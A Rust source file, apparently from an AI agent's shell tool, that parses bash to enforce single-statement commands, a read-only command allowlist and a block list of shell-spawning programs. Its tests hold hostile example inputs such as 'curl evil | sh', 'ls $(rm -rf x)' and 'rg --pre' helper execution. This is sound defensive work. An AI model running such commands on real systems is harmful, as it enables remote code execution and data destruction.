1use std::borrow::Cow;
2
3use tree_sitter::{Node, Parser};
4
5use crate::errors::{Result, WinxError};
6
7fn neutralize_supplementary(command: &str) -> Cow<'_, str> {
21 if command.chars().any(|c| c as u32 >= 0x1_0000) {
22 Cow::Owned(
23 command.chars().map(|c| if c as u32 >= 0x1_0000 { '\u{FFFD}' } else { c }).collect(),
24 )
25 } else {
26 Cow::Borrowed(command)
27 }
28}
29
30pub fn assert_single_statement(command: &str, allow_shell_probe: bool) -> Result<()> {
39 let trimmed = command.trim();
40 if trimmed.is_empty() {
41 return Ok(());
42 }
43 if trimmed.contains('\0') {
44 return Err(WinxError::CommandExecutionError(
45 "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
46 ));
47 }
48
49 let parse_src = neutralize_supplementary(trimmed);
53
54 let mut parser = Parser::new();
55 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
56 parser.set_language(&language).map_err(|error| {
57 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
58 })?;
59
60 let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
61 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
62 })?;
63 let root = tree.root_node();
64
65 if root.has_error() && !rescued_by_shell_probe(trimmed, allow_shell_probe) {
66 return Err(WinxError::CommandExecutionError(
67 "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
68 ));
69 }
70
71 let statement_count = top_level_statement_count(parse_src.as_ref(), root);
73
74 if statement_count > 1 && !trimmed.contains('\n') {
75 return Err(WinxError::CommandExecutionError(
76 "Command should contain a single top-level bash statement. Fix one of three ways: \
77 send one statement per call; put each statement on its own line (multiline is \
78 allowed); or resend as {\"type\": \"command\", \"command\": \"...\", \
79 \"allow_multi\": true} when the composite is intentional."
80 .to_string(),
81 ));
82 }
83
84 Ok(())
85}
86
87fn rescued_by_shell_probe(command: &str, allow_shell_probe: bool) -> bool {
93 allow_shell_probe && bash_accepts_syntax(command)
94}
95
96fn bash_accepts_syntax(command: &str) -> bool {
97 std::process::Command::new("bash")
98 .arg("-n")
99 .arg("-c")
100 .arg(command)
101 .stdin(std::process::Stdio::null())
102 .stdout(std::process::Stdio::null())
103 .stderr(std::process::Stdio::null())
104 .status()
105 .is_ok_and(|status| status.success())
106}
107
108#[derive(Debug, Clone)]
109struct StatementNode {
110 kind: String,
111 start_byte: usize,
112 end_byte: usize,
113}
114
115fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
116 let mut statements = Vec::new();
117 collect_statement_nodes(root, &mut statements);
118
119 statements
120 .iter()
121 .filter(|stmt| stmt.kind != "comment")
122 .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
123 .count()
124}
125
126fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
127 if is_statement_node(node.kind()) {
128 statements.push(StatementNode {
129 kind: node.kind().to_string(),
130 start_byte: node.start_byte(),
131 end_byte: node.end_byte(),
132 });
133 }
134
135 let child_count = u32::try_from(node.named_child_count()).unwrap_or(u32::MAX);
136 for index in 0..child_count {
137 if let Some(child) = node.named_child(index) {
138 collect_statement_nodes(child, statements);
139 }
140 }
141}
142
143fn is_statement_node(kind: &str) -> bool {
144 matches!(
145 kind,
146 "command"
147 | "variable_assignment"
148 | "declaration_command"
149 | "unset_command"
150 | "comment"
151 | "for_statement"
152 | "c_style_for_statement"
153 | "while_statement"
154 | "if_statement"
155 | "case_statement"
156 | "function_definition"
157 | "pipeline"
158 | "list"
159 | "compound_statement"
160 | "subshell"
161 | "redirected_statement"
162 )
163}
164
165fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
166 if stmt.start_byte == other.start_byte
167 && stmt.end_byte == other.end_byte
168 && stmt.kind == other.kind
169 {
170 return false;
171 }
172
173 let other_text = &source[other.start_byte..other.end_byte];
174 if other.kind == "list" && other_text.contains(';') {
175 return false;
176 }
177
178 other.start_byte <= stmt.start_byte
179 && other.end_byte >= stmt.end_byte
180 && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
181 && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
182}
183
184pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
196 let trimmed = command.trim();
197 if trimmed.is_empty() {
198 return Ok(Vec::new());
199 }
200 if trimmed.contains('\0') {
201 return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
202 }
203
204 let parse_src = neutralize_supplementary(trimmed);
209
210 let mut parser = Parser::new();
211 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
212 parser.set_language(&language).map_err(|error| {
213 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
214 })?;
215
216 let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
217 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
218 })?;
219 let root = tree.root_node();
220 if root.has_error() {
221 return Err(WinxError::CommandExecutionError(
222 "Command could not be parsed for allowlist enforcement.".to_string(),
223 ));
224 }
225
226 let mut texts = Vec::new();
227 collect_command_texts(root, parse_src.as_ref().as_bytes(), &mut texts);
228 Ok(texts)
229}
230
231pub fn extract_static_write_paths(command: &str) -> Vec<String> {
238 let trimmed = command.trim();
239 if trimmed.is_empty() || trimmed.contains('\0') {
240 return Vec::new();
241 }
242
243 let parse_src = neutralize_supplementary(trimmed);
244 let mut parser = Parser::new();
245 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
246 if parser.set_language(&language).is_err() {
247 return Vec::new();
248 }
249 let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return Vec::new() };
250
251 let mut paths = Vec::new();
252 collect_static_write_paths(tree.root_node(), parse_src.as_ref().as_bytes(), &mut paths);
253 paths.sort();
254 paths.dedup();
255 paths
256}
257
258fn collect_static_write_paths(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
259 match node.kind() {
260 "file_redirect" => collect_redirect_destination(node, src, out),
261 "command" => collect_command_destinations(node, src, out),
262 _ => {}
263 }
264
265 let mut cursor = node.walk();
266 for child in node.children(&mut cursor) {
267 collect_static_write_paths(child, src, out);
268 }
269}
270
271fn collect_redirect_destination(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
272 let Some(destination) = node.child_by_field_name("destination") else { return };
273 let prefix_end = destination.start_byte().saturating_sub(node.start_byte());
274 let Ok(redirect) = node.utf8_text(src) else { return };
275 let prefix = redirect.get(..prefix_end).unwrap_or(redirect);
276 if !prefix.contains('>') {
277 return;
278 }
279 if let Ok(text) = destination.utf8_text(src) {
280 push_static_shell_word(text, out);
281 }
282}
283
284fn collect_command_destinations(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
285 let Some(name) = node.child_by_field_name("name") else { return };
286 let Ok(name) = name.utf8_text(src) else { return };
287 let Some(name) = static_shell_word(name) else { return };
288 let name = std::path::Path::new(&name)
289 .file_name()
290 .and_then(std::ffi::OsStr::to_str)
291 .unwrap_or(name.as_str());
292
293 let mut cursor = node.walk();
294 let arguments = node
295 .children_by_field_name("argument", &mut cursor)
296 .filter_map(|argument| argument.utf8_text(src).ok())
297 .filter_map(static_shell_word)
298 .collect::<Vec<_>>();
299 let positional =
300 arguments.iter().filter(|argument| !argument.starts_with('-')).cloned().collect::<Vec<_>>();
301
302 match name {
303 "tee" | "touch" | "truncate" | "mkdir" | "mkfifo" => {
304 out.extend(positional);
305 }
306 "cp" | "mv" | "install" | "ln" => {
307 if let Some(destination) = positional.last() {
308 out.push(destination.clone());
309 }
310 for argument in &arguments {
311 if let Some(destination) = argument.strip_prefix("--target-directory=") {
312 out.push(destination.to_string());
313 }
314 }
315 }
316 "dd" => {
317 for argument in &arguments {
318 if let Some(destination) = argument.strip_prefix("of=") {
319 out.push(destination.to_string());
320 }
321 }
322 }
323 "sed" | "perl"
324 if arguments.iter().any(|argument| {
325 argument == "-i"
326 || argument.starts_with("-i")
327 || argument == "-pi"
328 || argument.starts_with("-pi")
329 }) =>
330 {
331 out.extend(positional);
332 }
333 _ => {}
334 }
335}
336
337fn push_static_shell_word(text: &str, out: &mut Vec<String>) {
338 if let Some(word) = static_shell_word(text) {
339 out.push(word);
340 }
341}
342
343fn static_shell_word(text: &str) -> Option<String> {
344 let text = text.trim();
345 if text.is_empty() {
346 return None;
347 }
348
349 let bytes = text.as_bytes();
350 let unquoted = if bytes.len() >= 2
351 && matches!(
352 (bytes.first(), bytes.last()),
353 (Some(b'\''), Some(b'\'')) | (Some(b'"'), Some(b'"'))
354 ) {
355 &text[1..text.len() - 1]
356 } else {
357 text
358 };
359 let known_temp_path = unquoted == "$WINX_TEMP_DIR"
360 || unquoted == "${WINX_TEMP_DIR}"
361 || unquoted.starts_with("$WINX_TEMP_DIR/")
362 || unquoted.starts_with("${WINX_TEMP_DIR}/");
363 if unquoted.is_empty()
364 || unquoted.contains('`')
365 || unquoted.contains('*')
366 || unquoted.contains('?')
367 || (unquoted.contains('$') && !known_temp_path)
368 || (known_temp_path
369 && unquoted
370 .trim_start_matches("${WINX_TEMP_DIR}")
371 .trim_start_matches("$WINX_TEMP_DIR")
372 .contains('$'))
373 {
374 None
375 } else {
376 Some(unquoted.replace("\\ ", " ").replace("\\\"", "\"").replace("\\'", "'"))
377 }
378}
379
380fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
381 if node.kind() == "command" {
382 if let Ok(text) = node.utf8_text(src) {
383 out.push(text.to_string());
384 }
385 }
386 let mut cursor = node.walk();
387 for child in node.children(&mut cursor) {
388 collect_command_texts(child, src, out);
389 }
390}
391
392pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
400 "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
401 "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
402 "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
403];
404
405pub const ARCHITECT_COMMANDS: &[&str] = &[
410 "pwd",
411 "ls",
412 "rg",
413 "grep",
414 "head",
415 "tail",
416 "wc",
417 "stat",
418 "file",
419 "readlink",
420 "realpath",
421 "basename",
422 "dirname",
423 "printf",
424 "echo",
425 "type",
426 "which",
427 "uname",
428 "date",
429 "id",
430 "whoami",
431 "du",
432 "df",
433 "tree",
434 "git status",
435 "git diff",
436 "git log",
437 "git show",
438 "git ls-files",
439 "git grep",
440 "git rev-parse",
441 "git branch --show-current",
442];
443
444pub fn architect_allowed_commands() -> Vec<String> {
445 ARCHITECT_COMMANDS.iter().map(|command| (*command).to_string()).collect()
446}
447
448pub fn is_architect_command_allowed(command_line: &str) -> bool {
455 if contains_file_redirect(command_line) {
456 return false;
457 }
458 let Ok(commands) = extract_command_texts(command_line) else { return false };
459 !commands.is_empty() && commands.iter().all(|command| architect_command_is_safe(command))
460}
461
462fn contains_file_redirect(command: &str) -> bool {
466 let parse_src = neutralize_supplementary(command.trim());
467 let mut parser = Parser::new();
468 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
469 if parser.set_language(&language).is_err() {
470 return true;
471 }
472 let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return true };
473 let root = tree.root_node();
474 root.has_error() || node_tree_contains_kind(root, "file_redirect")
475}
476
477fn node_tree_contains_kind(node: Node<'_>, kind: &str) -> bool {
478 if node.kind() == kind {
479 return true;
480 }
481 let mut cursor = node.walk();
482 let found = node.children(&mut cursor).any(|child| node_tree_contains_kind(child, kind));
483 found
484}
485
486fn architect_command_is_safe(command: &str) -> bool {
487 let words: Vec<&str> = command.split_whitespace().collect();
488 let Some(program) = words.first().copied() else { return false };
489
490 if program == "git" {
491 let Some(subcommand) = words.get(1).copied() else { return false };
492 if subcommand == "branch" {
493 return words.as_slice() == ["git", "branch", "--show-current"];
494 }
495 if !matches!(
496 subcommand,
497 "status" | "diff" | "log" | "show" | "ls-files" | "grep" | "rev-parse"
498 ) {
499 return false;
500 }
501 return !words.iter().skip(2).any(|word| {
502 word.starts_with("--output")
503 || *word == "--ext-diff"
504 || *word == "--textconv"
505 || word.starts_with("--open-files-in-pager")
506 });
507 }
508
509 let allowed = ARCHITECT_COMMANDS
510 .iter()
511 .filter(|entry| !entry.starts_with("git "))
512 .any(|entry| *entry == program);
513 if !allowed {
514 return false;
515 }
516
517 if program == "rg" {
518 return !words.iter().skip(1).any(|word| {
519 word == &"--pre"
520 || word.starts_with("--pre=")
521 || word == &"--hostname-bin"
522 || word.starts_with("--hostname-bin=")
523 });
524 }
525
526 true
527}
528
529pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
536 let mut hits: Vec<String> = allowed
537 .iter()
538 .filter_map(|entry| {
539 let first = entry.split_whitespace().next()?;
540 let base = std::path::Path::new(first).file_name()?.to_str()?;
541 SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
542 })
543 .collect();
544 hits.sort();
545 hits.dedup();
546 hits
547}
548
549#[cfg(test)]
550mod tests {
551 use super::assert_single_statement;
552 use super::detect_allowlist_bypass;
553 use super::extract_command_texts;
554 use super::extract_static_write_paths;
555 use super::is_architect_command_allowed;
556 use proptest::prelude::*;
557
558 proptest! {
559 #[test]
563 fn assert_single_statement_never_panics(cmd in "[\\s\\S]{0,80}") {
564 let _ = assert_single_statement(&cmd, false);
565 let _ = assert_single_statement(&cmd, true);
566 }
567
568 #[test]
569 fn extract_command_texts_never_panics(cmd in "[\\s\\S]{0,80}") {
570 let _ = extract_command_texts(&cmd);
571 }
572
573 #[test]
574 fn extract_static_write_paths_never_panics(cmd in "[\\s\\S]{0,80}") {
575 let _ = extract_static_write_paths(&cmd);
576 }
577 }
578
579 #[test]
580 fn supplementary_plane_input_does_not_segfault_the_parser() {
581 for c in ['\u{10FFFF}', '\u{4E980}', '\u{1F574}', '\u{100000}'] {
587 for _ in 0..40 {
588 let cmd = format!("{{{c}");
589 let _ = assert_single_statement(&cmd, false);
590 let _ = extract_command_texts(&cmd);
591 }
592 }
593 }
594
595 #[test]
596 fn emoji_command_still_validates_as_single_statement() {
597 assert!(assert_single_statement("git commit -m \"\u{1F680} ship it\"", false).is_ok());
600 }
601
602 #[test]
603 fn architect_policy_allows_read_only_exploration() {
604 for command in [
605 "pwd",
606 "rg -n TODO src | head -20",
607 "git status --short",
608 "git diff -- src/lib.rs",
609 "git branch --show-current",
610 ] {
611 assert!(is_architect_command_allowed(command), "should allow: {command}");
612 }
613 }
614
615 #[test]
616 fn architect_policy_blocks_mutation_and_helper_execution() {
617 for command in [
618 "touch owned",
619 "rm file",
620 "sed -i s/a/b/ file",
621 "git checkout -- file",
622 "git diff --output=leak.patch",
623 "git branch --show-current --delete main",
624 "rg --pre 'touch owned' pattern",
625 "rg pattern $(touch owned)",
626 "echo owned > marker",
627 "git diff >> marker",
628 "ls 2> marker",
629 ] {
630 assert!(!is_architect_command_allowed(command), "should reject: {command}");
631 }
632 }
633
634 #[test]
635 fn extracts_nested_commands_for_allowlist() {
636 let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
638 assert!(names.iter().any(|c| c.starts_with("ls")));
639 assert!(names.iter().any(|c| c.starts_with("curl")));
640 assert!(names.iter().any(|c| c.starts_with("sh")));
641
642 let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
643 assert!(subst.iter().any(|c| c.starts_with("rm")));
644 }
645
646 #[test]
647 fn extracts_literal_shell_write_destinations() {
648 let command = "cat <<'EOF' > '.winx-review-carrier.js'\ncontent\nEOF\n\
649 printf x | tee .winx/tmp/direct.ts\n\
650 cp source.ts .winx/tmp/copied.ts\n\
651 dd if=source of=.winx/tmp/image.bin";
652 let paths = extract_static_write_paths(command);
653
654 for expected in [
655 ".winx-review-carrier.js",
656 ".winx/tmp/direct.ts",
657 ".winx/tmp/copied.ts",
658 ".winx/tmp/image.bin",
659 ] {
660 assert!(paths.iter().any(|path| path == expected), "missing {expected}: {paths:?}");
661 }
662 }
663
664 #[test]
665 fn ignores_reads_but_extracts_the_server_owned_temp_destination() {
666 let command = "cat .winx-review-carrier.js\n\
667 rg needle .winx/tmp/direct.ts\n\
668 printf x > \"$WINX_TEMP_DIR/helper.ts\"";
669 assert_eq!(extract_static_write_paths(command), ["$WINX_TEMP_DIR/helper.ts"]);
670 }
671
672 #[test]
673 fn accepts_shell_chains_as_single_statement() {
674 assert!(assert_single_statement("cargo test && cargo clippy", true).is_ok());
675 }
676
677 #[test]
678 fn accepts_heredocs_as_single_statement() {
679 let command = "cat <<'EOF'\nhello\nEOF";
680 assert!(assert_single_statement(command, true).is_ok());
681 }
682
683 #[test]
684 fn accepts_for_loop_as_single_compound_statement() {
685 assert!(
686 assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done", true).is_ok()
687 );
688 }
689
690 #[test]
691 fn rejects_semicolon_separated_top_level_statements() {
692 assert!(assert_single_statement("pwd; ls", true).is_err());
693 }
694
695 #[test]
696 fn accepts_multiline_scripts() {
697 assert!(assert_single_statement("pwd\nls", true).is_ok());
698 }
699
700 #[test]
701 fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
702 let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
703 assert!(assert_single_statement(command, true).is_ok());
704 }
705
706 #[test]
707 fn shell_probe_is_gated_to_trusted_mode() {
708 use super::rescued_by_shell_probe;
709 assert!(rescued_by_shell_probe("echo hi", true));
715 assert!(!rescued_by_shell_probe("echo hi", false));
718 assert!(!rescued_by_shell_probe("echo )(", true));
720 }
721
722 #[test]
723 fn detect_allowlist_bypass_flags_shell_spawners() {
724 let allowed = vec![
725 "ls".to_string(),
726 "bash".to_string(),
727 "cat -n".to_string(),
728 "find . -exec rm {} +".to_string(),
729 ];
730 assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
731 }
732
733 #[test]
734 fn detect_allowlist_bypass_clean_list_is_empty() {
735 let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
736 assert!(detect_allowlist_bypass(&allowed).is_empty());
737 }
738
739 #[test]
740 fn detect_allowlist_bypass_matches_basename_of_path() {
741 let allowed = vec!["/usr/bin/env python".to_string()];
742 assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
743 }
744
745 #[test]
746 fn rejects_nul_with_actionable_message() {
747 let error = match assert_single_statement("printf '\0'", true) {
748 Ok(()) => String::new(),
749 Err(error) => error.to_string(),
750 };
751 assert!(error.contains("NUL byte"));
752 assert!(error.contains("\\\\x00"));
753 }
754}